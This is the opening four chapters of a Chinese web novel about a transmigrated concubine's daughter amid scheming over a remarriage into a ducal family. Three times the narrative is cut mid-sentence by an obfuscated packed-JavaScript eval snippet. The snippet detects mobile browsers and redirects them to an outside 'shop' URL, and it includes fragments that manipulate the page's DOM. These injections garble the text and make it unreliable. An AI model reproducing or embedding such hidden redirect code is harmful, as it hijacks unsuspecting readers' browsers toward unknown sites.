《继夫人只想鸡娃》 1. 第 1 章 隆庆五年,今年春天来得早,才三月,便鸟语花香,草长莺飞,正是京中少男少女们出游踏青的好时节。 未出阁的女子在闺中多有束缚,对于每个能出门的机会,大家都十分珍惜,是以早早的就写好了拜帖,准备好了春裳,兴致勃勃的预备着出门,欢快的气息笼罩着整个京城。 只有一处例外——位于都城内通化路的程家。 别说呼朋唤友的出门玩了,这段时间,府里都没有人敢大声说话,婢子们走在路上,纷纷屏气凝神,小心翼翼,就怕不慎犯了忌讳。 盖因为这段时间是程家嫡长女,程苒,去世一周年的忌日。 程家是书香门第,程家老爷时任四品秘书监,膝下有两儿五女,其中长子、长女与幼女,皆是主母兰氏所出。 大娘子程苒,秀外慧中,性情贤淑,才学出众,是京城久负盛名的闺秀,后来嫁进高门显赫的国公府谢家,嫁于名满京华的世子谢钰之为正妻,更是羡煞旁人。却在五年后,病重离世。 程菀与大娘子年龄差了好几岁,加上大娘子还在闺中时,要么忙于学习,要么出府与名门闺秀结交,与她们这些庶女并不亲近,婚后更是一年见不到两面,没什么感情,甚至可以称得上有些陌生。 但程菀知道,主母兰氏是个面甜心苦的,尤其大娘子去世后,脾气更是古怪,这个时候要是敢做什么触霉头的事,绝对没好果子吃。 所以当藜麦提着餐盒走进来,把瓷盘摆上桌,粟米看着全都绿油油的,一点荤腥都不见的菜色,想要说什么时,程菀直接一个目光制止了她。 粟米皱眉道:“娘子,奴婢是担忧您的身体,您本就怕冷,人清减了许多,现在还吃不好……” 程菀上辈子因过度劳累而猝死,来到景朝重活一世,成了官宦家庭的小小庶女,虽在嫡母手下讨生活不容易,但她只想躺平,没什么远大的抱负,嫡母知道她没威胁后,也不针对她。 这些年不愁吃不愁穿,日子过得还算舒坦,就是没空调没暖气,让又怕冷又怕热的她每到冬夏,就要清瘦不少。 在医疗资源匮乏的古代,没什么比健康的身体更重要,所以每到这时,程菀就会去小厨房点些滋补的,养养身体。 可自从大娘子去世后,兰氏就规定在大娘子忌日前后,所有人要连续吃素一个月,看着程菀本就没胃口,现在越发瘦了,粟米心里免不了生出两分怨怼。 从没有听说过人都走了一整年了,姊妹间还有这般规矩的…… “我身体无碍,”程菀摇头,到底姐妹一场,即便没什么情分,忌口吃素也不是什么大事,最主要的是:“但隔墙有耳,日后不可再这么冒失。” 这就是嫡母兰氏的手腕了。 程家在京中虽然不是什么了不得的人家,但到底书香门第,有底蕴在,条件也称得上是中上层。但兰氏以“培养姐妹感情,互帮互助”为借口,让所有庶女都住在同一个院子里。 住得近,矛盾就多,各个房里都有彼此安插的眼线,想要私下做些什么,都得谨慎再谨慎,不然就会被耳报神传的人尽皆知。 正想着,帘子打开,红雪从外面走了进来,凑到程菀跟前,低声道: “娘子,奴婢刚看到六娘子院子里的珊瑚慌里慌张的从角门进来,怀里还抱着个包袱,灰扑扑的,看着就不太正常,奴婢就找人打探了一番,那竟是从仙绫阁新买的衣裳!” 程菀微怔:“仙绫阁?你没弄错?” 红雪点头:“千真万确。” 程府子女,每个月府中发放的例钱都是五两。无论嫡庶,一视同仁。这是老太爷还在世时就定下的规矩。不仅例钱,就连其他的吃穿用度、学习、出门结交的机会都是如此。 这和程菀上辈子看过的小说电视剧不一样,非但不会苛待庶子庶女,反而和嫡子嫡女一般用心培养,不仅程府,基本京中有头有脸的人家,都是如此。 因为不论嫡庶,归根结底,都只是振兴家族的工具罢了。 不过这也只是表面上的,私底下,因为身份的不同,能享受到的资源天差地别。 程菀姨娘早逝,嫡母又是个面甜心苦的,她不想争宠,只想躺平,所以每个月只有五两的月例银子,抠抠搜搜的过日子,除了偶尔去小厨房加菜,善待自己这张嘴,其他时候都尽量节约,努力存点钱应急。 六娘子程蓉却不相同,她虽也是庶女,姨娘却在世,还十分得宠,程老爷私下还会偷偷给不少赏赐,是以她的吃穿用度,都要阔气许多。 但是再阔气,一个月左不过十两银子,而仙绫阁却是京中最昂贵的绣坊,一套成衣置办下来,至少也要十几两,程府又不是没有自家的绣房,这不年不节的,程蓉放着免费的绣房不用,去外头买那么贵的衣裳,肯定没有那么简单。 而且最近可是大娘子的忌日,这个时候偷溜出去买新衣裳,被兰氏发现了,绝对不会放过她。 这事肯定有蹊跷,但到底涉及了些什么…… 程菀夹着绿油油的菠菜,脑子里暂时还没有头绪。 …… 正院这边,看着桌上一片绿油油,程老爷眼里闪过一丝厌恶。 “老爷,怎么不坐下?”兰氏目光灼灼的盯着他,见他坐下,便让丫鬟开始布菜。 程老爷早在下值时,就去酒楼吃了一顿,现在只能装作胃口不佳,用了几口,随即端起茶盏,开始说正事:“我已同子邵商量好,明日会过来,现在柔嘉公主那边逼得紧,国公府也想早些将这事定下,明日你切不可怠慢。” 谢子邵,谢钰之,父亲是国公,母亲是当年集万千宠爱于一身的长公主,家世不凡,才能更是卓绝。三岁便有神童美誉,十八岁得中状元,正途文官,却有以文易武的抱负。 景朝立国是以武得天下,但如今,重文轻武才是大势所趋,谢钰之上书请求试边事时,所有人都觉得他是仗着自己的身份胡来,没有人想到,一个勋贵状元真的能以幕僚的身份,在平复边疆的战事中立下赫赫功劳。 这样的身份才能,即便是继室,也有无数人趋之若鹜,就连如今的柔嘉公主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224030|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都对他青睐有加。 从前大娘子能嫁入谢家,是因为以前谢家凋敝时,曾受过程家的恩惠,那时的谢钰之虽已中状元,名满京华,但无官职在身,程家努努力还能够上。 但如今谢钰之军功加身,手握大权,差距越来越大。 如果不是国公府传来消息,程家绝对不敢妄想能将女儿嫁过去当继室,其实程老爷和兰氏私下也琢磨过,国公府为何放着名门闺秀不选,依旧选择程家? 即便是报恩,也无须做到这个份上呀,是因为政见?还是大娘子留下的情分? 但不管怎样,只要能继续和国公府联姻,就必须抓住这个机会。 是以早在七日前,国公府来信后,程家就开始精心准备这次会面,程老爷今天过来,也是特意叮嘱兰氏,千万不能出差错,早一日把婚事定下来,才能真正放心。 他在官场上说得好听是个四品,但其实就是个坐冷板凳的,不沾钱粮,不涉及人事军务,还曾经惹了圣上不喜,这辈子都没有了向上的机会,但他还有两个儿子,只有抓住了国公府,抓住了谢钰之,未来的路才能更顺一些。 “老爷放心,一切已经安排妥当了。”兰氏郑重的点头。 可当程老爷前脚刚走,兰氏拽着叶嬷嬷的手,鼻尖一酸,泪水就滚了下来:“昨日才是苒儿的忌日,今日就商量续弦的事,明日就要来相看……只听新人笑,哪闻旧人哭,我的苒儿啊!” 叶嬷嬷从小看着大娘子长大,听着兰氏嚎啕大哭,自己也忍不住落下泪来:“太太,您别难过,人要往前看……” “我不难过。”兰氏深吸一口气,将腮边的泪水擦干,“苒儿走了,还有若儿,只要若儿能过上好日子,这一切都是值得的。” 程家待嫁的女儿,虽然还有三位,从年龄来算,五娘子程菀才是最合适的。 但早在国公府透露出娶程家女儿为继室的打算后,兰氏和程老爷想都没想过旁人,这个人只可能是七娘子程若,毕竟国公府世子夫人的位置,也不可能让一个庶女来做。 但叶嬷嬷却有些沉吟:“太太,要不先和七娘子通个气?好让她提前知晓。” “不必,若儿那么听话,我说什么她都会答应的。”兰氏淡淡道,“而且她才是束哥儿的亲姨妈,只有她嫁过去,束哥儿才能得到最妥当的照顾,苒儿在天有灵才能安息。” 程菀是个老实本分的,但六娘子程蓉和她那个狐狸精姨娘一样,一肚子的花花肠子,为了不让这两人坏事,除了自己院子的人,兰氏没有让任何人知晓。 这么好的婚事,除了她的女儿,还能轮到谁? 程菀和程蓉?两个庶女,根本就不配。 不过,若儿和国公府的婚事定下后,就要赶紧找人家把程菀和程蓉给打发出去了,不能让她们碍着若儿的路。 兰氏吩咐道:“你去把黄夫人叫来,要给五娘子、六娘子预备亲事了。” 这么急匆匆的打发,又是庶女,能有什么好夫家?叶嬷嬷眼底闪过不忍,但还是应下了:“是。” 2. 第 2 章 第二日卯初,藜麦轻声将程菀唤醒:“娘子,到时辰了。” 在程府,每日卯正就要去正院请安,即便这一规矩已经坚持了十几年了,但程菀还是不习惯天不亮就要起床,藜麦唤了好几声,她身体倒是坐起来了,灵魂还在犯困。 婢女们早就习惯了自家姑娘的做派,任由她双目紧闭,扶着她坐在梳妆台前,藜麦服侍擦洗,粟米负责梳头,直到简单的同心髻梳好,粟米询问发饰时,程菀才终于愿意睁开双眼,随手一指: “碧玺石的蝴蝶玉簪。” 程家女儿们长相都不错,随了程老爷,偏向清婉淡丽。唯有程菀长得更像过世的姨娘,秾艳明亮,就像花丛中绽放的牡丹,华美,妍丽,却太过打眼。 粟米伺候多年,看着娘子这些年容貌越来越盛,一开始还很高兴。但当程菀开始选择那些并不适配她的衣裳、首饰时,粟米渐渐也明白了她的用意。 所以哪怕心中为娘子感到可惜,还是转身去衣柜里拿了一身十分素净的衣裳:“娘子,穿这身可好?” 程菀点头,朝她露出赞赏的目光。 “走吧。” 正院离得远,三月的晨风夹杂着料峭寒意,有些清冷,程菀逐渐加快脚步。刚到正院,就发现丫鬟们进进出出的,十分忙碌,一改往日端庄肃穆的气氛。 这是,要招待什么贵客? 这个念头刚冒出来,六娘子程蓉从回廊走了过来,她看着忙碌的婢女们,眼里没有疑惑,却闪过一丝兴奋。 ……兴奋?兰氏要招待贵客,她有什么好兴奋的? 程菀隐隐觉得,这件事和程蓉偷摸去做衣裳有关。 思索间,七娘子程若、四少爷程常德也来到了正院,程家长子二少爷程常达如今还在国子监读书,二少夫人娘家有事,这几日正好不在。 看着人都到齐了,叶嬷嬷刚准备走过来,宣布今天兰氏有事,免了请安的消息,突然,安静的院子里传来一声突兀的干呕。 众人循声望去,发现是四少爷身边的丫鬟。 那丫鬟无比惊恐,下意识的捂着嘴,想要掩饰那股子动静,但肩膀抖动几下,下一刻就“哇”的一声,吐了满地。 叶嬷嬷脸色猛地变了,连声喊人过来处理,又请几位娘子先离开。 转身出正院时,程菀看到程常德的脸比纸还要苍白。 …… 调查结果出来的很快,午饭前,程菀就从红雪口中得知了来龙去脉—— 失仪的丫鬟叫葵花,是四少爷程常德的贴身婢女,程常德去年十五,就到了安排通房的年纪,因为大娘子去世,兰氏悲痛欲绝,哪里还记得庶子的这些琐事? 她忘了,程常德却没忘,偷偷和葵花有了首尾,还怀了身孕,但两人年纪轻,怀孕月份浅,自己都没发现。 还是因为大娘子忌日,满府整月都要吃素,葵花嘴馋,念叨着想要吃肉,程常德心疼她,偷摸找人溜出去买了荤菜回来。可素久了的人,乍然开荤,肠胃经受不住,诱发了害喜,葵花控制不住就直接吐了出来。 “……太太知道后,大为光火,当即就让人把葵花拖了出去,四少爷也罚跪祠堂了。” 四少爷是杨姨娘所出,比起高高在上的二少爷,要平和许多,经常和这些丫鬟说说笑笑的,连带着大家与葵花也十分熟悉,一想到前几天还交谈甚欢的人,落到现在这个下场,红雪等丫鬟都心中都生出悲凉,忍不住问道: “娘子,葵花是被发卖出去了吗?” 其实大家都知道兰氏的为人,敢在大娘子的忌日做这些事,葵花的下场比发卖出去要悲惨百倍。 程菀正想说什么,突然传来通报声,是兰氏院里的大丫鬟雪梅到了。 红雪等人面面相觑,这个时候,大太太把五娘子叫过去做什么?莫不是葵花的事还涉及到了自家娘子? 程菀面色不变,请她进来,雪梅行礼后道:“五娘子,太太请您和六娘子去正院一趟,有贵客来访。” 还真有客人。 “行,我这就过去。”程菀说着就要起身往外走,低垂着头的雪梅却又开口了:“五娘子,太太吩咐您换上那身天青色的绣花褙子,配碧色长裙。” 正常情况下,有贵客来访,自然是装扮的越隆重越好,这样才能显示出对客人的尊重,兰氏却反其道而行之,特意叮嘱程菀换上更素的衣服。 如今是大娘子的忌日,穿着本就不应艳丽,特意叮嘱一句,反倒有些欲盖弥彰、此地无银了。 程菀笑了笑,依言照办,换好衣服后抬步出门。 按照兰氏的安排,程家庶女都住在一个院子里,程菀住东边厢房,程蓉住西边,两边大门相对,是以程菀一出门,正好看到了从屋里走出来的程蓉。 不看不知道,一看,程菀就怔住了。 只见程蓉穿着山茶红的窄袖绫衣,下配鹅黄色的百褶裙,梳着精致又繁琐的龙蕊髻,佩戴桃花赤金簪,俨然一副精心装扮的样子,给原本清婉的脸庞增色不少,显得活泼、娇俏。 尤其是那身仙气飘飘的裙子,远看不觉得,近看才发觉镶着金边,拢在朦胧的细纱下,在阳光的照耀中熠熠生辉,光彩照人,显然不是出自程府绣房,而是仙绫阁的技艺。 再扭头一看身旁的雪梅,目光愕然,脸色铁青…… 很显然,雪梅在来见程菀前先去找了程蓉,也转告了她太太要求换什么衣服,而程蓉宁愿“抗旨不尊”,也要盛装打扮。或者可以说,程蓉在大娘子忌日期间偷偷摸摸溜出府做衣裳,就是为了今天的会面。 程菀眼波流转,微微挑眉,明白过来今天这位“贵客”,究竟是谁了。 定然和国公府谢家有关。 …… 正院屋内,兰氏端坐在炕沿,正逗弄着面前的孩子。 昨天她还在生气,气程家和国公府挑了大娘子的忌日相看婚事,可当谢家的马车停下,下来的不是谢钰之,而是被奶娘带着的谢束时,兰氏差点把手里的帕子搅烂。 谢家什么意思?说好了的却爽约,莫不是看不上程家,不打算继续联姻了? 还是谢家护卫上前解释,说世子爷临时被圣上叫去了书房,走不开,只能吩咐下人先将小郎君送来。 谢钰之本就是天衡贵胄,才能卓绝,战功加身后,圣眷更浓。哪怕是兰氏这个深闺妇人也是了解的,听完后,她的脸色才逐渐好转,又见到了许久未见的外孙,一个劲的逗他说话,一时间,屋子里充满了浓浓的温情。 直到婢女通传娘子们到了,当盛装打扮的程蓉出现在门口,那一刻,屋子里的气氛瞬间降至冰点,兰氏差点维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224031|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持不住多年的涵养,只想把手边的茶碗狠狠的砸过去! 叶嬷嬷连忙按住兰氏的手,笑道:“娘子们终于来了,太太等了许久了。” 程菀缓步入内,与程蓉,还有正好赶到的七娘子程若一起,行礼:“我来迟了,太太恕罪。” 兰氏深吸一口气,压下心中浓浓的怒火,“不迟,先坐吧。” 谢钰之虽然没有来,但好歹束哥儿在,跟着他的也都是国公府的下人,该做的事还是要做。 程菀在门口碰见同样精心装扮的程若后,就明白了这到底是怎么回事,果不其然,兰氏一开口,就让程若坐在离她最近的地方,程蓉立马抢到了中间的锦凳,程菀则是慢悠悠地在最远的位置坐下。 而后兰氏微微侧身,把身侧的小孩露出来,温声介绍道:“束儿,这三位都是你的姨妈。” 她嘴里说着三位,但却正好挡住了束哥儿的视线,加上程菀程蓉坐的稍远一些,束哥儿看不到她们,一抬眼就看到了程若,盯着她看了好几眼,小声道:“姨。” 程若知道,这是亲姐姐留下的唯一血脉,上次见面还是在姐姐的葬礼上,眼圈微红,笑道:“束哥儿长高了。” 兰氏笑着把束哥儿递给程若,想让他们好好亲近亲近,但程若没有抱孩子的经历,更何况还是国公府的金疙瘩,怕摔着他,手上动作就有些迟疑。 一旁的程蓉连忙抓住机会,笑盈盈的凑上前去,“七妹妹你手放松些,揽着小郎君的这里就好了。” 束哥儿本来没看见程蓉,见她突然出现,有些好奇的看了过去,很快就被程蓉身上闪闪发光的金线吸引住了,盯着看了几眼,程蓉立马顺势把他从程蓉怀里抱过来,笑道:“束哥儿盯着姨母,可是还记得我?” 束哥儿重复:“姨母?” “嗳,太太您看,束哥儿果真聪慧,这么久没见过了,还记得我这个姨母呢!”程蓉笑盈盈的道。 嘴上只是夸束哥儿聪慧,但意思很明显:兰氏特意给程若创造机会,但她连抱抱束哥儿都做不到,而她程蓉一出现,立马就吸引了束哥儿的注意力,不用哄都让孩子开口叫姨母,这不就说明她和束哥儿比起程若这个亲姨母,要更加投缘吗? 兰氏再也忍受不了心里的怒意,看向束哥儿,温和的笑道:“束儿是不是有些累了?外祖母给你收拾了间屋子,先去休息一会儿,待会儿再来陪外祖母吃饭可好?” 束哥儿听完,懵懂的点头。 看着被奶娘带下去的束哥儿,程菀心中的疑惑越来越重。 束哥儿今年四岁半,在他三岁前,大娘子回娘家经常会带着他,可过了三岁生辰后,就再也没来过了。程菀不知道发生了什么,后来才听说,是束哥儿生了场病,身体一直不好,大娘子便不再让他出门了。 上次在大娘子的葬礼上,只是匆匆见了一面,但现在看着,束哥儿面如琢玉,眼似点漆,生的和小仙童一般好,虽然有些胆怯,却没有半分身体孱弱的模样。 难道是大娘子去世这一年身体养好了? 还不等程菀琢磨出来,突然“啪”的一声,兰氏将手中的茶盏狠狠摔在了地上,指着程蓉厉声喝到:“来人,把这个不敬嫡姐的东西拖到祠堂里跪着,让她在列祖列宗的牌位面前好好想想,什么叫长幼有序!什么叫礼义廉耻!” 3. 第 3 章 今天这事很明显,国公府有和程家继续联姻的打算,兰氏想让自己女儿嫁为继室,所以才会事先吩咐程菀和程蓉,换上低调的衣服,作绿叶来承托程若。 但程蓉和杨姨娘不知从哪里提前知道了这一消息,早早就准备好了新衣,不仅违抗兰氏的命令,打扮的耀眼夺目,还踩着程若不停的表现自己。 兰氏本就不是多么大度的人,又早就对杨姨娘、程蓉母子恨之入骨,都等不得束哥儿和国公府众人离开,当即就发作了出来。 从正院离开时,跟在程菀身后的藜麦和粟米,脸上还带着震惊,她们没想到国公府还会选程家的女儿为继室,更没想到六娘子胆子这么大,敢和太太公然作对。 粟米忍不住问道:“娘子,六娘子所求,真的有胜算吗?” “没有。”程菀很冷静,兰氏绝对不可能让程蓉继承大娘子留下来的一切,程老爷虽然宠爱程蓉,但他也清楚这个女儿的为人,绝对不会让这样的人毁了和国公府的交情。 “那就好那就好,要是六娘子真的成功了,以后肯定会经常在咱们面前落井下石,耀武扬威。”藜麦一想起程蓉过去的种种行径,就忿忿不平,嘀咕道:“真要选六娘子,还不如选娘子您呢,您可比她好太多了。” 程菀笑了笑:“傻丫头,我可没这方面的想法。” 在外人看来,国公府门第显赫,谢钰之本人更是世间少有的郎君,能嫁给他,那可是八辈子修来的福气。但条件再好,都抵不过“继室”二字,特别还是有娃的继室。 程菀上辈子是幼师,工作十年,见过各种各样的小孩,清楚的知道,真正想要养好一个孩子,有多麻烦!当老师都会被小孩的各种意外折磨的头大,更何况是给人当继母?不管做得再好别人也只觉得这是你应该的,可只要有丝毫的不好,那就准备承受来自全世界的恶意吧。 而且那种越宝贝孩子的家长,麻烦事越多。谢束是国公府的嫡子,真正的金疙瘩,给他当继母,就等于一辈子捆绑在他身上了,完全不符合程菀想要安安稳稳过日子的咸鱼心态。 想到那个画面,程菀感觉背后都吓出了冷汗,她连忙抚了抚胸口,快步朝自己屋子走去。 走了几步又吩咐藜麦:“我记得屋子里还有上次没吃完的千层酥?快找出来给我压压惊。” 必须要用美食来安慰一下自己,不然这半夜都会被噩梦惊醒。 …… 程菀一边吃着美味的酥饼,一边悠闲的看着话本子时,外面已经快闹翻天了。 “老爷!老爷!求求您快去瞧瞧六娘子吧!这么冷的天在祠堂跪了这么久,非把腿跪坏了不可!” 程老爷刚回家,就听到杨姨娘凄厉的哭声,他眉头一皱,厉声问道:“怎么回事?” 兰氏把程蓉关进祠堂时就想过杨姨娘肯定会找老爷求情,特意让叶嬷嬷带人把她看住,杨姨娘却好似早有预料一样,拼了命的往外冲,一边冲一边高喊,动静太大,还是闹到了老爷面前。 叶嬷嬷脸色微变,只能低声把今天的事说了一遍。 杨姨娘立马哭道:“老爷,最近是大娘子的忌日,太太心情不好妾身明白,可也不能把怒火全都发泄到四少爷、六娘子的身上啊!这么冷的天,不吃不喝的跪祠堂,这是要让四少爷和六娘子跟着大娘子去了吗?!” 程老爷眉头拧的更紧:“德哥儿又是怎么回事?” 叶嬷嬷只好把程常德和葵花的事又说了一遍。 程老爷一拍桌子:“胡闹!一个婢女就算了,还要德哥儿跪什么祠堂?本来就不光彩,这样不是闹得更大了?况且我早就跟你们太太说了,三日后我要带着常德去拜会名师,现在不是耽误他温书吗?” 叶嬷嬷忙跪下请罪,侧头的一刻,她看到杨姨娘嘴角露出一丝笑意,霎时间,叶嬷嬷终于明白了过来—— 这一切都是杨姨娘和程蓉计划好了的! 她正纳闷四少爷一个半大孩子,就算再宠葵花,想给她买吃食,也没能力私自收买看门的小厮。现在她终于明白了,是杨姨娘在暗中帮忙。 葵花和四少爷勾勾搭搭,不利于他的学业,杨姨娘早就怀恨在心。但她一个姨娘,没有婢女的身契,也没有实权,再恨也无法处置。 就让人偷偷配合四少爷买吃食回来,这样既能引葵花孕吐,借太太的手除掉葵花;又能让四少爷跪祠堂。老爷知道后就会迁怒太太不懂事,让太太把四少爷放出来,四少爷都出来了,六娘子自然也能接机逃过一劫! 杨姨娘一个没有根基的妾室,能在后院蹦跶这么多年,叶嬷嬷早知道她心机深沉,但今天才明白她究竟有多么心狠手辣。 但现在明白已经迟了,程老爷对两个儿子的学业无比看重,兰氏耽误了程常德的学业,就是触了他的逆鳞,当即命令把人放出来。 杨姨娘早就知道他会这么做,就像叶嬷嬷想的那样,她也是算准了程老爷的心思,才会让程蓉盛装打扮出场。她虽然梦寐以求女儿能嫁去国公府享福,但不会半分倚仗也没有,就和兰氏对着干。 而且她也不会真的耽误程常德的学业,早在之前,她就已经买通了下人,在祠堂里藏了本书,让四少爷便是受罚也能学习。这种一边学习一边受罚的做法,哪怕被发现了,不仅不会挨骂,还能得到老爷的嘉奖呢。 兰氏匆匆赶到,脸上满是怒火:“老爷看重学业,让德哥儿出来,妾身没话说。但六娘子不尊礼法,在嫡姐忌日打扮的花枝招展,传出去外人只会说我们程家家风不正,必须狠狠惩治,以儆效尤。” 杨姨娘跪着哭喊:“太太怎能如此?六娘子穿着和七娘子根本无甚差别,只是寻常的待客之道,都是姐妹,为何七娘子无事,六娘子却要受此侮辱?” 都是姐妹?一个嫡一个庶,哪门子的都是姐妹? 但这话兰氏不敢说,不管私下如何,表面上嫡庶平等,这是老太爷定下的规矩,没有人敢反驳,杨姨娘这么说,也是吃准了兰氏只能吃这个闷亏。 兰氏却似笑非笑的看着她:“七娘子打扮隆重,是因为和国公府的亲事,六娘子……也是因为此吗?” 这话一出,程老爷犀利的目光霎时朝杨姨娘射来,杨姨娘心一惊。她确实足够了解程老爷,才能筹谋这一切,所以此时她也看的分明,老爷真的没有想让蓉儿嫁进国公府的心思,半分也没有! 她想要求情,想让程老爷考虑考虑蓉儿,比起一团孩子气的程若,明显她的蓉儿才有国公府当家主母的风范。 可她只要开了口,就侧面印证了兰氏的话,证明程蓉今天这般做派确实是想要截胡自家妹妹的婚事…… 杨姨娘深呼吸,无比艰难的开口:“绝无此事!六娘子打扮周全, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224032|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确只是听闻贵客到访,想要礼数周全罢了。” 程老爷笑道:“我就知道蓉儿不是这么不懂事的性子,来人,快把六娘子扶出来,千万别冻坏了!” 兰氏没再阻止,而是微微挑眉,露出胜利者的微笑。杨姨娘这话等于自绝后路,菀丫头也不是这种不知死活的蠢货,所有的障碍都扫清了,若儿可以顺顺利利的嫁进国公府了。 …… 兰氏将程蓉关进祠堂后,又满脸慈爱的与束哥儿吃了顿晚饭。 兰氏本就对束哥儿无比宠爱,大娘子死后,越发当眼珠子疼,实在想留他下来住一夜,但事先没和国公府商量,家里又还有蠢货要处置,家丑不可外扬,只能依依不舍的和束哥儿道别。 天黑之前,奶娘便带着束哥儿告退了。 一回到国公府,奶娘就把今日程家发生的所有事都禀告给了老太太。 谢老太太听得直皱眉,打扮的最出彩的竟然是个庶女?还抢了全部的风头?这么些年了,程家果然还是这么不上进? 大娘子已死,又给国公府留下嫡子,死者为大,谢老太太本不应该对她再有什么苛刻,但一想起大娘子往日所作所为,老太太心里还是少不了怨怼。 如果不是束哥儿的情况实在不容乐观,又想不到更好的办法,她绝对不会松口再次和程家结亲。 想起乖巧的孙儿,谢老太太冷峻的脸色才微微好转,对奶娘道:“快把束儿带进来,今天一下午都在外头,怕是累了。程家的晚膳也不知合不合胃口,灵芝,快让小厨房把准备好的甜汤端过来!” 说完,又看向一旁的小孙媳,笑道:“天黑了,你也快回去吧。” 二少夫人薛氏乖巧的点头,撒娇道:“束哥儿一回来,姨奶奶就不疼我了,不过就算姨奶奶不待见,我明日也得厚着脸皮来陪您!” 老太太虚点了点她,满眼都是笑意:“你这猴儿,连我都打趣起来了,好好好,你明日可要早些过来。” 等离开老太太处,薛氏终于神情激动的笑了起来,紧紧的拽着心腹嬷嬷的手,高兴的嘴唇都在颤抖:“嬷嬷,听到了吗?大哥竟然真的要娶程家的娘子当继室!” 大娘子死后半年,京中就有不少人讨论谢钰之续娶之事,到了现在,风声越来越大,所有人都在猜他会娶哪家的闺秀。薛氏这个弟妹更是着急的不行,费了不少心思找人打听。 可老太太瞒的太好,连她都不肯透露半分,越是不透露,薛氏就越担忧,生怕谢钰之会选择什么公主郡主,若真如此,到时候这国公府哪还有她的容身之处? 前几日她倒是听到了些许风声,说可能会和程家继续结亲,但薛氏不敢相信。谢钰之如今在朝堂上可是风头无两,论家世长相才能,又有谁能敌得过他,要什么样的名门小姐没有,怎么可能看得上程家? 直到刚才,听到奶娘对谢老太太事无巨细的禀报,她才终于能确定,这事是真的!谢钰之要娶的竟然真的是程家女! 这一刻,薛氏高兴的恨不得直接飞起来! 心腹嬷嬷也很高兴,但不忘提醒道:“夫人,这程家肯定不会送个庶女过来。” 薛氏轻蔑一笑,不以为意:“管她嫡女还是庶女,之前程家精心教养的大娘子都不是我的对手,现在换成她的妹妹,就更不足为惧,也不可能从我手里把中馈给夺走!” 4. 第 4 章 昨天折腾程蓉的事忙到太晚,第二天,兰氏特意免了请安,一大早就去告诉程若这个好消息。 “……其实娘也不是怕了杨姨娘和六丫头,到底是不争气的东西,再怎么蹦跶也跳不了多高,娘在乎的是你父亲的态度。只要他态度坚决,就没有人能影响你的婚事。” 程老爷宠爱杨姨娘,对兰氏只不过是表面功夫,以至于这些年兰氏也在杨姨娘手里吃瘪过几次,昨天程老爷不顾杨姨娘的哀求,坚定的站在自己和若儿这边,让兰氏顿觉扬眉吐气,神清气爽。 她以为听到这些话,程若会和她一样高兴,可往日无比乖巧,对她言听计从的小女儿,此时却来了句:“母亲,我……我可以不嫁去国公府吗?” “什么?!”兰氏脸上的笑容瞬间消失,差点以为自己听错了。 程若从来不知道母亲有这种打算,就连昨天去正院,她都单纯的以为只是和束哥儿聊聊天,直到母亲在祠堂前所说的话传来,她还抱有希望,觉得母亲不会有这么离谱的打算。 可是这一刻,听到兰氏亲口所说,程若无法再自欺欺人了。 可是那是她的亲姐夫啊,她怎么能嫁给自己的亲姐夫?不能,她更不愿! 她真的不愿意,但她从来不曾违抗过母亲,好不容易积累起来的勇气,在兰氏的厉声质问下,就消散了大半,她拽紧了帕子,鼓起勇气妄图说服兰氏: “娘,我真的不想嫁去国公府,那是我的亲姐夫,这不合适,而且我这种性子,也当不好国公府的世子夫人……” 程若说的越多,兰氏脸色也越差,直接打断道:“你这丫头在胡说什么,嫁给姐夫的人还少了?这有什么不合适的?束哥儿那么小就没了娘,身子又一直不好,如果你不嫁过去照顾他,以后有了其他继母,他的日子还能好过?你可是他亲姨母,怎么能丝毫不顾念他的难处。” “当不好世子夫人就更是胡话了,你姐姐当年嫁进国公府,用了不到一年就站稳了脚跟,府中内外没有一人是不信服她的,你是她的亲妹妹,你姐姐可以,你怎么就不行?” 听到娘又拿她和姐姐相比,程若更加抗拒:“娘,我……” 但兰氏已经没有耐心听了,正好丫鬟通报黄夫人到了,直接站了起来,“行了,多余的话就不用再说了,我会让叶嬷嬷带着你开始熟悉庄子、铺子上的庶务,这些全都是置办给你当嫁妆的,你可要好好学。” 景朝大户人家保媒,请的都是有头有脸的全福人,把人选确定下来后,就能让全福人出面去打探一二,如果双方都有意,私下交换生辰年月去庙里算算,这桩婚事就算差不多了。黄夫人就是特别热衷于给人说亲的全福人。 程菀知道这个消息时,正在马场练马。 程家书香世家,却修了个专门的马场,这事还得从程老爷无意间得罪圣上说起。 程老爷年轻时出门喝酒,和一位年轻将军起了冲突,程老爷有些读书人特有的清高,又确实是个才子,觉得如今朝堂上重文轻武,他一个四品秘书监,根本不把小小武官放在眼里,就当众显摆了几句。 